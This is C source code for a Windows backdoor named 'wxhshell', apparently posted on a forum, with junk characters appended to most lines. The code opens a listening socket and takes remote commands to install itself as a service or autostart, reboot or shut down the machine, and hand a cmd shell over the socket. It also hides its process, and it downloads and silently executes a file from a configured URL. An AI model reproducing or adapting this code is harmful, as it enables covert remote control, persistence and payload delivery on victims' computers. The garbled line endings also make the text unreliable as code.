  %zGPF  
  // 帮助 ts ] +W!:  
  case '?': { v|e>zm <  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .|K5b]na  
    break; 4dO>L"  
  } q:( K^  
  // 安装 lWR  
  case 'i': { v'uQ'CiH  
    if(Install()) IKt9=Tx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;iEqa"gO  
    else (/^&3xs9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  F#hM S<  
    break; _+U`afV  
    }  EpiagCS  
  // 卸载 xnArYm  
  case 'r': { /cg!Ap5  
    if(Uninstall())  /Wa+mp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5HB4B <2  
    else `JC!uc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OA8pao~H  
    break; |laq y`D  
    } FUQT,7CA  
  // 显示 wxhshell 所在路径 @[^H*^1|g  
  case 'p': { W{%M+a[#l  
    char svExeFile[MAX_PATH]; V1+IqOXAIp  
    strcpy(svExeFile,"\n\r"); 9wYbY* j  
      strcat(svExeFile,ExeFile); =J:~AD#  
        send(wsh,svExeFile,strlen(svExeFile),0); *ULXJZ%  
    break;  :sf;Fq  
    } :r\<DVj  
  // 重启 @8 pRIS"V  
  case 'b': { N7NK1<vw2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V/03m3!q  
    if(Boot(REBOOT)) >uVG]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F$caKWzny5  
    else { __a9}m4i7x  
    closesocket(wsh); WA<~M) rb  
    ExitThread(0); 4)`{ L$  
    } Aam2Y,B  
    break; rC'97`!K  
    } g}f@8;TY  
  // 关机 [P<oyd@#  
  case 'd': { 4"GY0) Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -1@kt<Es  
    if(Boot(SHUTDOWN)) =lzjMRX(?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a^CIJ.P2  
    else { J[^-k!9M  
    closesocket(wsh); !$O +M#  
    ExitThread(0); 5!wa\)wY  
    } 1PWDK1GI8  
    break; y+c+/L8  
    } F: \CDM=lS  
  // 获取shell S-im o  
  case 's': { H:CwUFL  
    CmdShell(wsh); \E n^Vf  
    closesocket(wsh); RxAZ<8T_  
    ExitThread(0); kw!! 5U;7  
    break; V%"aU}   
  } }^=J]  
  // 退出 (*#S%4(YX  
  case 'x': { um[.r,++  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w|NLK  
    CloseIt(wsh); 3t8VH`!mL{  
    break; 1%>/%eyn5  
    } -&+[/  
  // 离开 VLRW,lR9O  
  case 'q': { O5E\#*<K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -(Yq$5Zc&  
    closesocket(wsh); aC;OFINK  
    WSACleanup(); y3d`$'7H>  
    exit(1); C}7Sh6  
    break; JVN0];IL}  
        } xgfK0-T|[  
  } Z/O5Dear/h  
  } 9OX&;O+5  
O}2;>eH  
  // 提示信息 U1I2+;"#A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mzDbw-#  
} @<h@d_8^k  
  } H>2)R 7h  
  \\6/"  
  return; PKmr5FB  
} mkgDg y  
6?r}bs6Msx  
// shell模块句柄 '};pu;GA7  
int CmdShell(SOCKET sock) @2V#bK  
{ L_Z>*s&  
STARTUPINFO si; q5Z]Z.%3O  
ZeroMemory(&si,sizeof(si)); J#MUtpPdQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $)6y:t"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I t",WFE.  
PROCESS_INFORMATION ProcessInfo; af.yC[  
char cmdline[]="cmd"; 67 ^?v)|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N_wB  
  return 0; WS4J a$*  
} %R."  
\Gg6&:Ua  
// 自身启动模式 udgf{1EB&2  
int StartFromService(void) "luMz;B  
{ uvi+#4~G  
typedef struct ,-D3tleu`  
{ Ns Pt1_ Y8  
  DWORD ExitStatus; n' &:c}zKO  
  DWORD PebBaseAddress; `-IX"rf  
  DWORD AffinityMask; ]U82A**n  
  DWORD BasePriority; wMr*D['" #  
  ULONG UniqueProcessId; ve<D[jQsk  
  ULONG InheritedFromUniqueProcessId; rjz$~(&m6  
}   PROCESS_BASIC_INFORMATION; :A"GO c,  
4;=+qb  
PROCNTQSIP NtQueryInformationProcess; ]sB-}n)  
| bDUekjR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E {*d`n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3,t3\`=  
h_n`E7&bG  
  HANDLE             hProcess; yJNQO'wcv  
  PROCESS_BASIC_INFORMATION pbi; @X5F$=aqZr  
d[=~-[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JYc;6p$<i  
  if(NULL == hInst ) return 0; R `  
c<Fr^8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /?VwoSgV^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "2# #Fcu=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  Jpm=V*P  
Mh3Tfp  
  if (!NtQueryInformationProcess) return 0; sN"<baZ  
l$ ^LY)i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5o2w)<d!  
  if(!hProcess) return 0; 4d-f 6iiFV  
~lib~Y'-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; it77x3Mm F  
c&X2k\  
  CloseHandle(hProcess); ozB2L\D7  
9vZ:oO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =# 0f4z  
if(hProcess==NULL) return 0; F=EG#<@u  
juIi-*R!  
HMODULE hMod; OXp(rJ*bK  
char procName[255]; #g=7fu{n:  
unsigned long cbNeeded; wwaw|$  
h9RL(Kq{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :J6 xYy$  
$ra q,SP  
  CloseHandle(hProcess); %^Zu^uu   
$\Oc]%  
if(strstr(procName,"services")) return 1; // 以服务启动 #83`T&Xw*  
7 x#QkImQ  
  return 0; // 注册表启动 []OmztB  
} gxPu/VD4  
%[B^b)2  
// 主模块 /xq^]0xy  
int StartWxhshell(LPSTR lpCmdLine) \:y oS>G  
{ QNWGUg4*&  
  SOCKET wsl; 5Q7Z$A1a 9  
BOOL val=TRUE; C8Ja>o2'  
  int port=0; Cg_9V4h.C  
  struct sockaddr_in door; 4]G J+a  
s k_TKN`+  
  if(wscfg.ws_autoins) Install(); y90wL U9f  
=hY9lxW  
port=atoi(lpCmdLine); ,i)wS1@  
zCji]:  
if(port<=0) port=wscfg.ws_port; 18nT Iz_  
G9_7jX*  
  WSADATA data; g^I?u$&E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hU'h78bt(  
Xrl# DN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L0.F }~S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ahk q  
  door.sin_family = AF_INET; Ua%;hI)j$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -kzp >=  
  door.sin_port = htons(port); ZSvU1T8  
9x`1VR :  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &8\6%C  
closesocket(wsl); ij5|P4Eka  
return 1; Nnx dO0X  
} q?y-s  
{ k>T*/  
  if(listen(wsl,2) == INVALID_SOCKET) { ;&c9!LfP  
closesocket(wsl); xciwKIpS  
return 1; LIE5of  
} d0V*[{  
  Wxhshell(wsl); w~4T.l#1  
  WSACleanup();  I9Lt>*  
[,L>5:T  
return 0; T].Xx`  
YJGP8  
} otA'+4\  
G4rd<V0[D  
// 以NT服务方式启动 m`BE{%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |BBo  
{ $+|. @ss  
DWORD   status = 0; E5qt~:C|  
  DWORD   specificError = 0xfffffff; IN_O!c0e  
?t)Mt]("  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a(IUAh*mO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XM f>B|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LEuDDJ -  
  serviceStatus.dwWin32ExitCode     = 0; TXT!Ae  
  serviceStatus.dwServiceSpecificExitCode = 0; dWTc3@xd  
  serviceStatus.dwCheckPoint       = 0; xc}kDpF=g  
  serviceStatus.dwWaitHint       = 0; >N~orSw%  
s~06%QEG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `{%ImXQF  
  if (hServiceStatusHandle==0) return; &G!~@\tMg  
#(}'G*  
status = GetLastError(); Dy&{PeE!  
  if (status!=NO_ERROR) 5[LDG/{Tys  
{ BdB9M8fM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6<fcG  
    serviceStatus.dwCheckPoint       = 0; \1sWmN6  
    serviceStatus.dwWaitHint       = 0; +,]_TxL|C  
    serviceStatus.dwWin32ExitCode     = status; 0YZ66VN!  
    serviceStatus.dwServiceSpecificExitCode = specificError; :{,k F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v]\T&w%9  
    return; ioBYxbY`  
  } ^+w1:C5  
v:"Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l} @C'Np  
  serviceStatus.dwCheckPoint       = 0; !Qq~lAJO;  
  serviceStatus.dwWaitHint       = 0; 9^7z"*@#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4k!>JQor  
} <UY9<o  
&PPYxg<  
// 处理NT服务事件,比如:启动、停止 40aD\S>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (y s<{Y-;  
{ F9k}zAY\J  
switch(fdwControl) 4C[kj  
{ ?$MO!  
case SERVICE_CONTROL_STOP: Rrrq>{D  
  serviceStatus.dwWin32ExitCode = 0; 4-BrE&2f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rgo!t028^  
  serviceStatus.dwCheckPoint   = 0; j-d542"  
  serviceStatus.dwWaitHint     = 0; P~84#5R1  
  { z))rk vL%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N)/7j7c~;  
  } c*r@QmB:  
  return; 9a#Y D;-p  
case SERVICE_CONTROL_PAUSE: LJA uTg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1 F&}e&}c  
  break; H2'djZ  
case SERVICE_CONTROL_CONTINUE: ~l('ly  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~7gFddi=i  
  break; YZAQt* x  
case SERVICE_CONTROL_INTERROGATE: b/_u\R ]-'  
  break; 7)RRCsn  
}; Z+=WICI/2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >,.\`.0  
} '|}H ,I{  
/.(~=6o5  
// 标准应用程序主函数 uqVarRi$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w\M"9T  
{ "pO** z$Z  
cT@H49#uB  
// 获取操作系统版本 K#Xl)h}y7  
OsIsNt=GetOsVer(); Tv `&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;Fd1:"1pP  
7[0<,O6Q  
  // 从命令行安装 ?w&?P}e +  
  if(strpbrk(lpCmdLine,"iI")) Install(); dkW7k^g  
(Vn3g ra  
  // 下载执行文件 P'<j<h6  
if(wscfg.ws_downexe) { nt@uVwfQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N;DE,[:<  
  WinExec(wscfg.ws_filenam,SW_HIDE); fymmA faR  
}  c& $[a%s  
*to#ZMR;!  
if(!OsIsNt) { i*8j|  
// 如果时win9x,隐藏进程并且设置为注册表启动 l3+G]C&<  
HideProc(); 3sgo5D-rMI  
StartWxhshell(lpCmdLine); ~>Y^?l  
} Q3'P<"u  
else q;#bFPh  
  if(StartFromService()) -v:3#9uX)  
  // 以服务方式启动 Md0`/F:+2  
  StartServiceCtrlDispatcher(DispatchTable); 3[@:I^q  
else 2Sk hBb=d  
  // 普通方式启动 |"[;0)dw^  
  StartWxhshell(lpCmdLine); #=72 /[  
cYvt!M\ed  
return 0; r?|(t?  
}
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只看该作者 1 发表于: 2006-10-10
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